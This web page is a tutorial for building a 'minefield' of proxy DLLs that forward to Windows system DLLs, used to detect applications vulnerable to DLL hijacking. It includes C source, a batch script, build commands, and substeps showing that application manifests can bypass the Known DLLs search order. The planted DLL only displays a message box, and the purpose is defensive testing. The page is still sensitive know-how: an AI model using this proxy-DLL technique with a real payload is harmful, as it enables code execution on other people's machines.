Valid HTML 4.01 Transitional Valid CSS Valid SVG 1.0

Me, myself & IT

DLL Minesweeper

Not just a game only for software developers, (penetration) testers and administrators.
Purpose
Reason
Operation
Active use
Passive use
Limitation
Bug
Prerequisites
Preparation
Download
Demonstration
Example 1
Example 2
Example 3
Full-scale Demonstration

Purpose

Build and use a (digital) minefield of forwarder or proxy DLLs as testbed for Windows applications, in order to detect those vulnerable to DLL hijacking.

Reason

Although DLL hijacking alias DLL spoofing, DLL preloading, binary planting and DLL side-loading is well-known and well-documented since more than 20 years, and despite MSDN articles like Dynamic-Link Library Security and Dynamic-Link Library Search Order, MSKB articles like Secure loading of libraries to prevent DLL preloading attacks and Microsoft Security Advisory: Insecure library loading could allow remote code execution, or MSRC blog posts like Load Library Safely, which all give proper advice to avoid this beginner’s error, the vast majority of Windows programs are still vulnerable to it!
For examples see Carpet Bombing and Directory Poisoning, Downloads Folder: A Binary Planting Minefield and Bypassing Application Whitelisting.

In executable installation programs, which typically need or request administrative privileges and are run from unsafe locations like the user’s Downloads directory or a Temp directory where this vulnerability is trivial to exploit, it becomes especially dangerous.

Operation

When loaded by a vulnerable application, each forwarder DLL ‹filename›.dll acts as static redirector or transparent proxy to its corresponding target DLL %SystemRoot%\System32\‹filename›.dll located in Windows’ system directory, accomplished through the relative pathname System32\‹filename› of the target DLL used in the forwarded exports.

Note: export forwarding is a feature of Windows’ module loader and used in quite some Windows system DLLs; an application or a(nother) DLL which references a forwarded export receives the address of the targeted export.

Note: while searching for DLLs specified without absolute (fully qualified) pathname, Windows’ module loader maps executable modules with matching filenames into memory, independent of their target execution environment. Upon mismatch of the execution environments it discards and unloads the modules, then continues searching.

Active use

Perform one or more of the following tests.

Passive use

Copy (or hardlink) the forwarder DLLs into your user account’s Temp directory %TMP%\ alias %USERPROFILE%\AppData\Local\Temp\ and the system’s Temp directory %SystemRoot%\Temp\, then wait: sooner or later a poorly written program will be run in one of the Temp directories and load some of the DLLs placed there.

Limitation

export forwarding is limited to target DLLs with the .dll file extension.

Note: to include DLLs with file extension .acm, .ax, .cpl, .drv, .ime, .ocx, .tsp etc. in the testbed, for example WinSPOOL.drv, MSCTFIME.ime or HHCtrl.ocx, build forwarder DLLs for them and create hardlinks ‹filename›.dll of the target DLLs in Windows’ system directory.

Bug

ShlWAPI.dll from Windows 7 and newer versions of Windows NT exports SHCreateStreamWrapper as an invalid forward to SHUNIMPL.#UNIMPL_SHCreateStreamWrapper!

Note: ShUnimpl.dll is the graveyard for obsolete and now unimplemented functions of Windows’ shell from prior versions of Windows NT.

Prerequisites

The following prerequisites are necessary to prepare the testbed. Note: for details and reference see the MSDN article Prepare Your Development Environment.

Preparation

Perform the following 9 (plus 27 optional) simple steps to build a set of DLLs ‹filename›.dll with exports (both by name and by ordinal) forwarded to their corresponding target DLLs %SystemRoot%\System32\‹filename›.dll located in Windows’ system directory, using import libraries and export files generated on the fly from the exports of the target DLLs.

For some of the details see the MSDN article Working with Import Libraries and Export Files.

Note: the forwarder DLLs are pure Win32 executables, for use on Windows XP and newer versions of Windows NT as well as Windows PE, they build without the MSVCRT libraries.

Note: the sample console output shown below every command line was produced with the Microsoft Visual C++ Compiler 2010 SP1 from update 2519277, using the header files, import libraries and utility programs from the Windows SDK v7.1.

  1. Create the text file DLLDUMMY.C with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    __declspec(dllimport)
    INT	WINAPI	MessageBoxTimeoutA(HWND   hwnd,
    		                   LPCSTR lpText,
    		                   LPCSTR lpCaption,
    		                   UINT   uType,
    		                   WORD   wLanguageId,
    		                   DWORD  dwMilliseconds);
    
    __declspec(safebuffers)
    BOOL	WINAPI	_DllMainCRTStartup(HINSTANCE hinstDLL,
    		                   DWORD     fdwReason,
    		                   LPVOID    lpvReserved)
    {
    #ifdef REASON
    	static	const	LPCSTR	szReason[4] = {"DLL_PROCESS_DETACH",
    				               "DLL_PROCESS_ATTACH",
    				               "DLL_THREAD_ATTACH",
    				               "DLL_THREAD_DETACH"};
    #endif
    #ifdef INTERNAL
    	extern	const	IMAGE_DOS_HEADER	__ImageBase;
    
    	LPCSTR			szModule = "<unknown>";
    	IMAGE_NT_HEADERS	*ntHeader = (IMAGE_NT_HEADERS *) ((LPBYTE) &__ImageBase + __ImageBase.e_lfanew);
    	DWORD			dwRVA = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    	DWORD			dwSize = ntHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    
    	if ((dwRVA != 0) && (dwSize >= sizeof(IMAGE_EXPORT_DIRECTORY)))
    	{
    		dwRVA = ((IMAGE_EXPORT_DIRECTORY *) ((LPBYTE) &__ImageBase + dwRVA))->Name;
    		if (dwRVA != 0)
    			szModule = (LPCSTR) ((LPBYTE) &__ImageBase + dwRVA);
    	}
    #else
    	CHAR	szModule[MAX_PATH];
    	DWORD	dwModule = GetModuleFileNameA(hinstDLL, szModule, sizeof(szModule));
    
    	if (dwModule == 0)
    		szModule[0] = '\0';
    	else if (dwModule >= sizeof(szModule))
    		szModule[sizeof(szModule) - 1] = '\0';
    #endif
    	MessageBoxTimeoutA(HWND_DESKTOP,
    #ifdef REASON
    	                   szReason[fdwReason],
    #else
    	                   GetCommandLineA(),
    #endif
    	                   szModule,
    	                   MB_OK | MB_ICONINFORMATION,
    	                   MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL),
    	                   12345);
    
    	return fdwReason == DLL_PROCESS_ATTACH;
    }
    
    __declspec(dllexport)
    const	CHAR	ASCIIString[] = "Supercalifragilisticexpialidocious";
    For details and reference see the MSDN articles DllMain entry point and Dynamic-Link Library Entry-Point Function, plus IMAGE_NT_HEADERS structure, IMAGE_OPTIONAL_HEADER structure and IMAGE_DATA_DIRECTORY structure.

    Note: this program uses no C runtime function, it builds without the MSVCRT libraries!

    Note: the entry-point function can have an arbitrary name; _DllMainCRTStartup is the default name Link.exe uses for DLLs.

    Note: modification of the source file DLLDUMMY.C to retrieve and display more or other information than only the DLL’s (internal) name from its export directory or its (fully qualified) pathname and the reason of the call or the process’ command line is left as an exercise to the reader.

    Note: follow the guidance given in the MSDN article Dynamic-Link Library Best Practices when you modify the source code!

  2. Compile the object file DLLDUMMY.OBJ from the source file DLLDUMMY.C created in step 1.:

    CL.EXE /Brepro /c /DINTERNAL /DREASON /GA /GF /GS /Gy /O1 /Os /Oy- /TcDLLDUMMY.C /W4 /Zl
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    DLLDUMMY.C
    DLLDUMMY.C(19) : warning C4100: 'lpvReserved' : unreferenced formal parameter
    DLLDUMMY.C(17) : warning C4100: 'hinstDLL' : unreferenced formal parameter
  3. The following 26 optional substeps demonstrate primarily the behaviour of Windows’ module loader and are therefore hidden per default; click the view buttom to show them, or the hide buttom to hide them again.

    1. Link the DLL DLLDUMMY.DLL from the object file DLLDUMMY.OBJ compiled in step 2.:
      LINK.EXE /LINK /BREPRO /DEFAULTLIB:USER32.LIB /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /EXPORT:ASCIIString,DATA /LARGEADDRESSAWARE /NOCOFFGRPINFO /NXCOMPAT /OPT:REF /OSVERSION:‹major›.‹minor› /OUT:DLLDUMMY.DLL /RELEASE /SUBSYSTEM:WINDOWS /SWAPRUN:CD,NET /VERSION:1.0 DLLDUMMY.OBJ
      For details and reference see the MSDN article Linker Options.

      Note: use the value of the /OSVERSION: argument to indicate the targeted version of Windows NT.

      Microsoft (R) Incremental Linker Version 10.00.40219.386
      Copyright (C) Microsoft Corporation.  All rights reserved.
      
         Creating library DLLDUMMY.lib and object DLLDUMMY.exp
    2. [Screen shot of DLLDUMMY.DLL loaded and executed via MSIEXEC.EXE, REGSVR32.EXE or RUNDLL32.EXE] Load the DLL DLLDUMMY.DLL linked in the preceding substep 3. A. explicitly, implicitly calling its entry-point function _DllMainCRTStartup() twice:
      MSIEXEC.EXE /Y "%CD%\DLLDUMMY.DLL"
      REGSVR32.EXE "%CD%\DLLDUMMY.DLL"
      RUNDLL32.EXE "%CD%\DLLDUMMY.DLL",* DLL minesweeper
      For details and reference see the MSDN article Run-Time Dynamic Linking.

      Note: it’s sufficient to run just one of these command lines.

      Note: on 64-bit editions of Windows, the execution environments of DLLDUMMY.DLL and MSIExec.exe must match!

      Note: the error message boxes displayed from RegSvr32.exe and RunDLL32.exe are expected: DLLDUMMY.DLL does neither implement any of the functions DllInstall(), DllRegisterServer() and DllUnregisterServer() called from the Regsvr32 tool, nor the Rundll32 Interface.

    3. Link another executable module DLLDUMMY.COM from the object file DLLDUMMY.OBJ compiled in step 2., now without flagging it as DLL:
      LINK.EXE /LINK /BREPRO /DEFAULTLIB:USER32.LIB /DYNAMICBASE /ENTRY:_DllMainCRTStartup /EXPORT:ASCIIString,DATA /LARGEADDRESSAWARE /NOCOFFGRPINFO /NXCOMPAT /OPT:REF /OSVERSION:‹major›.‹minor› /OUT:DLLDUMMY.COM /RELEASE /SUBSYSTEM:WINDOWS /SWAPRUN:CD,NET /VERSION:1.0 DLLDUMMY.OBJ
      Microsoft (R) Incremental Linker Version 10.00.40219.386
      Copyright (C) Microsoft Corporation.  All rights reserved.
      
         Creating library DLLDUMMY.lib and object DLLDUMMY.exp
    4. Repeat substep 3. B., now loading the executable module DLLDUMMY.COM linked in the preceding substep 3. C. instead of DLLDUMMY.DLL:
      MSIEXEC.EXE /Y "%CD%\DLLDUMMY.COM"
      REGSVR32.EXE "%CD%\DLLDUMMY.COM"
      RUNDLL32.EXE "%CD%\DLLDUMMY.COM",* DLL minesweeper
      The executable module DLLDUMMY.COM is loaded, but due to the missing DLL flag Windows’ module loader does not call the _DllMainCRTStartup() entry-point function.

      Note: on 64-bit editions of Windows, the execution environments of DLLDUMMY.COM and MSIExec.exe must match!

    5. Run the executable module DLLDUMMY.COM as application, either from the command line or per double-click:
      .\DLLDUMMY.COM
      This should result in an access violation exception with NTSTATUS 0xC0000005 alias STATUS_ACCESS_VIOLATION due to mismatch of the entry-point functions: while DLL entry-point functions _DllMainCRTStartup() have to be called with three arguments, application entry-point functions *MainCRTStartup() are but called without argument(s); the stack as well as the registers used to pass arguments contain just arbitrary garbage.

      Note: on the I386 alias x86 processor architecture, this mismatch additionally corrupts the stack upon return from the entry-point function!

    6. [Screen shot of DLLDUMMY.EXE error message box '.\DLLDUMMY.EXE is not a valid Win32 application] Attempt to run the DLL DLLDUMMY.DLL linked in substep 3. A. as Windows application DLLDUMMY.EXE, either from the command line or per double-click:
      COPY DLLDUMMY.DLL DLLDUMMY.EXE
      .\DLLDUMMY.EXE
      Access denied
    7. Overwrite the text file DLLDUMMY.C created in step 1. with the following content:
      // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
      
      #define STRICT
      #define WIN32_LEAN_AND_MEAN
      
      #include <windows.h>
      
      __declspec(dllimport)
      extern	const	CHAR	ASCIIString[];
      
      __declspec(noreturn)
      VOID	CDECL	WinMainCRTStartup(VOID)
      {
      	INT	i = MessageBoxExA(HWND_DESKTOP,
      		                  ASCIIString,
      		                  "DLLDUMMY.EXE",
      		                  MB_OK | MB_ICONINFORMATION,
      		                  MAKELANGID(LANG_ENGLISH, SUBLANG_NEUTRAL));
      
      	ExitProcess(i);
      }
      Note: this program uses no C runtime function!

      Note: the entry-point function can have an arbitrary name, WinMainCRTStartup is just the default name Link.exe uses for Windows applications.

    8. Compile the object file DLLDUMMY.TMP from the source file DLLDUMMY.C overwritten in the preceding substep 3. G.:
      CL.EXE /Brepro /c /FoDLLDUMMY.TMP /GA /GF /GS /Gy /O1 /Os /Oy- /TcDLLDUMMY.C /W4 /Zl
      For details and reference see the MSDN articles Compiler Options and Linker Options.
      Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
      Copyright (C) Microsoft Corporation.  All rights reserved.
      
      DLLDUMMY.C
    9. Link the application DLLDUMMY.EXE from the object file DLLDUMMY.TMP compiled in the preceding substep 3. H. and the import library DLLDUMMY.LIB created in substep 3. A.:
      LINK.EXE /LINK /BREPRO /DEFAULTLIB:DLLDUMMY.LIB /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DYNAMICBASE /ENTRY:WinMainCRTStartup /LARGEADDRESSAWARE /NOCOFFGRPINFO /NXCOMPAT /OPT:REF /OSVERSION:‹major›.‹minor› /OUT:DLLDUMMY.EXE /RELEASE /SUBSYSTEM:WINDOWS /SWAPRUN:CD,NET /VERSION:1.0 DLLDUMMY.TMP
      For details and reference see the MSDN articles Entry-Point Symbol and Linker Options.

      Note: use the value of the /OSVERSION: argument to indicate the targeted version of Windows NT.

      Microsoft (R) Incremental Linker Version 10.00.40219.386
      Copyright (C) Microsoft Corporation.  All rights reserved.
    10. [Screen shot of DLLDUMMY.EXE displaying the text string exported from DLLDUMMY.DLL] Execute the application DLLDUMMY.EXE linked in the preceding substep 3. I., implicitly loading and executing the DLL DLLDUMMY.DLL linked in substep 3. A.:
      .\DLLDUMMY.EXE
      For details and reference see the MSDN article Load-Time Dynamic Linking.

      Note: the DLL’s entry-point function _DllMainCRTStartup() is called before and after the application’s entry-point function WinMainCRTStartup(), which displays the text string Supercalifragilisticexpialidocious exported from DLLDUMMY.DLL in a message box.

    11. [Screen shot of DLLDUMMY.EXE failing execution due to missing DLLDUMMY.DLL] Move the DLL DLLDUMMY.DLL linked in substep 3. A. into your Temp directory %TMP%\ and execute the application DLLDUMMY.EXE linked in substep 3. I. again:
      MOVE DLLDUMMY.DLL "%TMP%"
      .\DLLDUMMY.EXE
      Since the DLL DLLDUMMY.DLL is not found in the search path, Windows’ module loader displays an error message box.

      Note: the error is expected and intended here!

    12. Rename the executable module DLLDUMMY.COM linked in substep 3. C. to DLLDUMMY.DLL and execute the application DLLDUMMY.EXE linked in substep 3. I. once more:
      RENAME DLLDUMMY.COM DLLDUMMY.DLL
      .\DLLDUMMY.EXE
      The application DLLDUMMY.EXE loads the executable module DLLDUMMY.DLL and displays the exported text string Supercalifragilisticexpialidocious again.

      Note: Windows’ module loader but does not call the _DllMainCRTStartup() entry-point function of the executable module since it is not flagged as DLL.

    13. Delete the executable module DLLDUMMY.DLL, add your Temp directory %TMP%\ to the search path and execute the application DLLDUMMY.EXE again:
      ERASE DLLDUMMY.DLL
      PATH %TMP%;%PATH%
      .\DLLDUMMY.EXE
      The application DLLDUMMY.EXE loads the DLL. %TMP%\DLLDUMMY.DLL and displays the exported text string Supercalifragilisticexpialidocious again.

      Note: the DLL’s entry-point function _DllMainCRTStartup() is called before and after the application’s entry-point function WinMainCRTStartup().

    14. Copy an arbitrary executable module not exporting the symbol ASCIIString, for example the command processor Cmd.exe, as DLLDUMMY.DLL into the current (working) directory, next to the application DLLDUMMY.EXE, and execute the application DLLDUMMY.EXE again:
      COPY "%ComSpec%" DLLDUMMY.DLL
      .\DLLDUMMY.EXE
      Since the symbol ASCIIString referenced from DLLDUMMY.EXE is not present in the executable module DLLDUMMY.DLL, Windows’ module loader displays an error message box.

      Note: the error is expected and intended here!

      Note: on 64-bit editions of Windows, the execution environments of DLLDUMMY.EXE and DLLDUMMY.DLL alias Cmd.exe must match!

    15. Only on 64-bit editions of Windows copy an arbitrary executable module of the not matching opposite execution environment as DLLDUMMY.DLL into the current (working) directory and execute the application DLLDUMMY.EXE again:
      COPY /Y "%SystemRoot%\SysWoW64\Version.dll" DLLDUMMY.DLL
      .\DLLDUMMY.EXE
      The application DLLDUMMY.EXE loads the DLL %TMP%\DLLDUMMY.DLL and displays the exported text string Supercalifragilisticexpialidocious again.

      Note: Windows’ module loader skips the executable module DLLDUMMY.DLL due to its wrong execution environment and continues its search.

    16. Create the text file DLLDUMMY.XML with the following content:
      <?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
      <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
          <file name="Kernel32.dll" />
          <file name="User32.dll" />
      </assembly>
      For details and reference see the MSDN article Application Manifests.

      Note: the file element overrides the search order completey, including the Known DLLs feature!

    17. Embed the application manifest DLLDUMMY.XML created in the preceding substep 3. P. in the application DLLDUMMY.EXE linked in substep 3. E.:
      MT.EXE /manifest DLLDUMMY.XML /outputresource:DLLDUMMY.EXE;#1
      Microsoft (R) Manifest Tool version 6.1.7716.0
      Copyright (c) Microsoft Corporation 2009.
      All rights reserved.
    18. Move the DLL %TMP%\DLLDUMMY.DLL back into the current (working) directory and execute the application DLLDUMMY.EXE modified in the preceding substep 3. Q.:
      MOVE /Y "%TMP%\DLLDUMMY.DLL"
      .\DLLDUMMY.EXE
      Since Windows’ module loader needs to load the dependent DLLs Kernel32.dll and User32.dll now only from the application directory this fails!

      Note: the error is expected and intended here!

    19. Copy the dependent DLLs from Windows’ system directory into the application directory, which happens to be the current (working) directory ., then execute the modified application DLLDUMMY.EXE again:
      COPY "%SystemRoot%\System32\Kernel32.dll"
      COPY "%SystemRoot%\System32\User32.dll"
      .\DLLDUMMY.EXE
      Bypassing the search order completely, the dependent but Known DLLs Kernel32.dll and User32.dll are loaded from the application directory instead from the system directory %SystemRoot%\System32\!

      Note: on 64-bit editions of Windows, the execution environments of DLLDUMMY.EXE and the dependent DLLs must match!

    20. Overwrite the text file DLLDUMMY.XML created in substep 3. P. with the following content:
      <?xml version="1.0" encoding="UTF-8" standalone="yes" ?>
      <assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
          <file loadFrom="%SystemDrive%\Temp\Kernel32.dll" name="Kernel32.dll" />
          <file loadFrom="%SystemDrive%\Temp\User32.dll"   name="User32.dll" />
      </assembly>
      For details and reference see the MSDN article Application Manifests.

      Note: the loadFrom attribute of the file element is not documented by Microsoft!

    21. Embed the application manifest DLLDUMMY.XML overwritten in the preceding substep 3. T. in the DLL DLLDUMMY.DLL linked in substep 3. A.:
      MT.EXE /manifest DLLDUMMY.XML /outputresource:DLLDUMMY.DLL;#2
      Microsoft (R) Manifest Tool version 6.1.7716.0
      Copyright (c) Microsoft Corporation 2009.
      All rights reserved.
    22. Execute the application DLLDUMMY.EXE again:
      .\DLLDUMMY.EXE
      Since Windows’ module loader can’t load the modified dependents’ DLLDUMMY.DLL dependents Kernel32.dll and User32.dll from the absolute (fully qualified) path specified in its embedded application manifest this fails.

      Note: the error is expected and intended here!

      Note: the trivial fix is left as an exercise to the reader!

    23. Overwrite the text file DLLDUMMY.C created in step 1. with the following content:
      // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
      
      #define STRICT
      #define WIN32_LEAN_AND_MEAN
      
      #include <windows.h>
      
      __declspec(safebuffers)
      BOOL	CDECL	PrintConsoleA(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCSTR lpFormat, ...)
      {
      	CHAR	szOutput[1024];
      	DWORD	dwOutput;
      	DWORD	dwConsole;
      
      	va_list	vaInput;
      	va_start(vaInput, lpFormat);
      
      	dwOutput = wvsprintfA(szOutput, lpFormat, vaInput);
      
      	va_end(vaInput);
      
      	if (dwOutput == 0)
      		return FALSE;
      
      	if (!WriteConsoleA(hConsole, szOutput, dwOutput, &dwConsole, NULL))
      		return FALSE;
      
      	return dwConsole == dwOutput;
      }
      
      __declspec(noreturn)
      VOID	CDECL	mainCRTStartup(VOID)
      {
      	DWORD	dwError = ERROR_SUCCESS;
      	HANDLE	hError = GetStdHandle(STD_ERROR_HANDLE);
      	HANDLE	hOutput = GetStdHandle(STD_OUTPUT_HANDLE);
      	HANDLE	hDLL = LoadLibraryA("DLLDUMMY.DLL");
      
      	if (hDLL == NULL)
      		PrintConsoleA(hError,
      	                      "LoadLibrary() returned error %lu\n",
      		              dwError = GetLastError());
      	else
      	{
      		PrintConsoleA(hOutput,
      	                      "LoadLibrary() returned success: DLLDUMMY.DLL loaded at address 0x%p\n",
      		              hDLL);
      
      		if (!FreeLibrary(hDLL))
      			PrintConsoleA(hError,
      		                      "FreeLibrary() returned error %lu\n",
      			              dwError = GetLastError());
      	}
      
      	ExitProcess(dwError);
      }
      Note: this program uses no C runtime function!

      Note: the entry-point function can have an arbitrary name, mainCRTStartup is just the default name Link.exe uses for command line alias console programs.

    24. Compile the object file DLLDUMMY.TMP from the source file DLLDUMMY.C overwritten in the preceding substep 3. W.:
      CL.EXE /Brepro /c /FoDLLDUMMY.TMP /GA /GF /GS /Gy /O1 /Os /Oy- /TcDLLDUMMY.C /W4 /Zl
      For details and reference see the MSDN articles Compiler Options and Linker Options.
      Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
      Copyright (C) Microsoft Corporation.  All rights reserved.
      
      DLLDUMMY.C
    25. Link the console program DLLDUMMY.COM from the object file DLLDUMMY.TMP compiled in the preceding substep 3. X:
      LINK.EXE /LINK /BREPRO /DEFAULTLIB:KERNEL32.LIB /DEFAULTLIB:USER32.LIB /DYNAMICBASE /ENTRY:mainCRTStartup /LARGEADDRESSAWARE /NOCOFFGRPINFO /NXCOMPAT /OPT:REF /OSVERSION:‹major›.‹minor› /OUT:DLLDUMMY.COM /RELEASE /SUBSYSTEM:CONSOLE /SWAPRUN:CD,NET /VERSION:1.0 DLLDUMMY.TMP
      For details and reference see the MSDN articles Entry-Point Symbol and Linker Options.

      Note: use the value of the /OSVERSION: argument to indicate the targeted version of Windows NT.

      Microsoft (R) Incremental Linker Version 10.00.40219.386
      Copyright (C) Microsoft Corporation.  All rights reserved.
    26. Execute the console program DLLDUMMY.COM linked in the preceding substep 3. Y., attempting to load and execute the DLL DLLDUMMY.DLL modified in substep 3. U.:
      .\DLLDUMMY.COM
      LoadLibrary() returned error 126
      Since Windows’ module loader can’t neither load the dependent but Known DLLs Kernel32.dll and User32.dll from the absolute (fully qualified) path specified in the embedded application manifest, nor (re)use these already loaded DLLs due to the different absolute (fully qualified) pathnames, this fails!

      For the translation of the Win32 error code, see ERROR_MOD_NOT_FOUND.

      Note: the error is expected and intended here!

      Note: the trivial fix is again left as an exercise to the reader!

  4. Create the text file DLLDUMMY.CMD with the following content:

    @Echo Off
    
    Rem Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    Echo LIBRARY "%~n1"
    Echo.
    Echo EXPORTS
    
    SetLocal EnableExtensions
    For /F "Delims= Skip=16 UseBackQ" %%@ In ("%~2") Do If "%%@" == "  Summary" (Exit /B) Else Call :EXPORTS "%~n1" "%%@"
    EndLocal
    Exit /B
    
    :EXPORTS
    Set LIBRARY=System32\%~1
    Set LINE=%2
    Set LINE=%LINE:<=^^^^^^^<%
    Set LINE=%LINE:>=^^^^^^^>%
    Set LINE=%LINE:~1,-1%
    Set ORDINAL=%LINE:~4,7%
    Set ORDINAL=%ORDINAL: =%
    Set HINT=%LINE:~12,4%
    Set RVA=%LINE:~17,8%
    Set NAME=%LINE:~26%
    
    If "%HINT%" == "    " Goto :ORDINAL
    If "%NAME%" == "[NONAME]" Goto :ORDINAL
    If "%RVA%" == "        " Goto :FORWARD
    
    :NAME
    Echo  %NAME%=%LIBRARY%.%NAME% @%ORDINAL%
    Goto :EOF
    
    :ORDINAL
    Echo  @%ORDINAL%=%LIBRARY%.#%ORDINAL% @%ORDINAL% NONAME
    Goto :EOF
    
    :FORWARD
    Set NAME=%NAME: (forwarded to ==%
    Echo  %NAME:~0,-1% @%ORDINAL%
    Goto :EOF
    For details and reference see the MSDN articles Rules for Module-Definition Statements, EXPORTS and LIBRARY.

    Note: modification of the batch script DLLDUMMY.CMD to target DLLs located in subdirectories of the system directory is left as an exercise to the reader.

  5. Dump the exports of an arbitrary DLL ‹filename›.dll located in Windows’ system directory %SystemRoot%\System32\ to the temporary text file DLLDUMMY.TXT:

    LINK.EXE /DUMP /EXPORTS /OUT:DLLDUMMY.TXT "%SystemRoot%\System32\‹filename›.dll"
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
  6. Generate the intermediary module definition file DLLDUMMY.DEF from the text file DLLDUMMY.TXT dumped in step 5., using the batch script DLLDUMMY.CMD created in step 4.:

    CALL DLLDUMMY.CMD ‹filename› DLLDUMMY.TXT 1>DLLDUMMY.DEF
    Note: for DLLs without exports but more than 9 sections§, like the native DLLs mcupdate_AuthenticAMD.dll and mcupdate_GenuineIntel.dll, the batch script DLLDUMMY.CMD fails to generate a valid module definition file, which typically results in a linker error during the next two steps; discard such errors for native DLLs, as these are not loaded and executed in Win32 processes.

    § For details and reference see the MSDN articles PE Format, Peering Inside the PE: A Tour of the Win32 Portable Executable File Format, An In-Depth Look into the Win32 Portable Executable File Format and An In-Depth Look into the Win32 Portable Executable File Format, Part 2.

  7. Build the intermediary import library DLLDUMMY.LIB and the intermediary export file DLLDUMMY.EXP from the module definition file DLLDUMMY.DEF generated in step 6.:

    LINK.EXE /LIB /BREPRO /DEF:DLLDUMMY.DEF /NODEFAULTLIB /OUT:DLLDUMMY.LIB
    For details and reference see the MSDN article Building an Import Library and Export File.
    Microsoft (R) Library Manager Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : warning LNK4068: /MACHINE not specified; defaulting to X86
       Creating library DLLDUMMY.LIB and object DLLDUMMY.exp
  8. Build the DLL ‹filename›.dll from the object file DLLDUMMY.OBJ compiled in step 2., using the import library DLLDUMMY.LIB and the export file DLLDUMMY.EXP built in step 7.:

    LINK.EXE /LINK /BREPRO /DEFAULTLIB:DLLDUMMY.LIB /DEFAULTLIB:USER32.LIB /DLL /DYNAMICBASE /ENTRY:_DllMainCRTStartup /LARGEADDRESSAWARE /NOCOFFGRPINFO /NXCOMPAT /OPT:REF /OSVERSION:‹major›.‹minor› /OUT:"‹filename›.dll" /RELEASE /SUBSYSTEM:WINDOWS /SWAPRUN:CD,NET /VERSION:1.0 DLLDUMMY.OBJ DLLDUMMY.EXP
    For details and reference see the MSDN articles Using an Import Library and Export File and Linker Options.

    Note: use the value of the /OSVERSION: argument to indicate the targeted version of Windows NT.

    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
  9. Repeat the steps 5. through 8. for every DLL located in Windows’ system directory %SystemRoot%\System32\ to build a complete minefield.

  10. Erase all intermediary and temporary files:

    ERASE DLLDUMMY.DEF DLLDUMMY.DLL DLLDUMMY.EXE DLLDUMMY.EXP DLLDUMMY.LIB DLLDUMMY.TMP DLLDUMMY.TXT DLLDUMMY.XML
  11. Optionally sign and timestamp all forwarder DLLs built in steps 5. through 9.:

    SIGNTOOL.EXE Sign /A /D "DLL Minesweeper" /DU "https://skanthak.hier-im-netz.de/minesweeper.html" /T "http://timestamp.digicert.com/" /V *.dll
    SIGNTOOL.EXE Sign /AS /D "DLL Minesweeper" /DU "https://skanthak.hier-im-netz.de/minesweeper.html" /FD SHA256 /TD SHA256 /TR "http://timestamp.digicert.com/" /V *.dll
    For details and reference see the MSDN articles Using SignTool to Sign a File and SignTool.

Download

[Screen shot of enhanced variant on Windows 10] The makefile DLLDUMMY.MAK performs the (mandatory) steps 1. through 10. shown above.
It contains the sources for an enhanced variant of the forwarder DLL as inline files, localised for English and German, and needs the icon DLLDUMMY.ICO.

Note: translations of the MESSAGETABLE and STRINGTABLE resources into other languages are welcome!

The enhanced variant of the forwarder DLL displays a message box with detailed information and writes an entry to Windows’ Event Log, using the source Vulnerability and Exploit Detector.

Download both files into an arbitrary, preferable empty directory, then run the following command line:

NMAKE.EXE /R /F DLLDUMMY.MAK test sign all
Note: if you don’t have a code-signing certificate, omit the sign target!

Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

Microsoft (R) Program Maintenance Utility Version 10.00.40219.01
Copyright (C) Microsoft Corporation.  All rights reserved.

	MC.EXE /b /c /n /u /v /z DLLDUMMY /U nm4D7E.tmp
MC: Compiling nm4D7E.tmp
nm4D7E.tmp(3) : warning : Redefining value of English
Writing .\DLLDUMMY_GER.bin
    [a0000001 .. a0000001] - 688 bytes
    [a0000003 .. a0000003] - 1216 bytes
    Total of 2 messages, 1932 bytes
Writing .\DLLDUMMY_ENU.bin
    [a0000001 .. a0000001] - 600 bytes
    [a0000003 .. a0000003] - 1104 bytes
    Total of 2 messages, 1732 bytes
	CL.EXE /Brepro /Bv /c /DCALLER /DEVENTLOG /DGSCOOKIE /DSOUND /DTHREAD /DUSERICON /FoDLLDUMMY.OBJ /GA /GF /GS /Gy /nologo /O1 /Os /Oy- /Tcnm4D83.tmp /W4 /Zl
Compiler Passes:
 C:\Program Files\Microsoft Visual Studio 10.0\VC\Bin\cl.exe:        Version 16.00.40219.1
 C:\Program Files\Microsoft Visual Studio 10.0\VC\Bin\c1.dll:        Version 16.00.40219.400
 C:\Program Files\Microsoft Visual Studio 10.0\VC\Bin\c1xx.dll:      Version 16.00.40219.400
 C:\Program Files\Microsoft Visual Studio 10.0\VC\Bin\c2.dll:        Version 16.00.40219.449
 C:\Program Files\Microsoft Visual Studio 10.0\VC\Bin\link.exe:      Version 10.00.40219.386
 C:\Program Files\Microsoft Visual Studio 10.0\VC\Bin\mspdb100.dll:  Version 10.00.40219.478
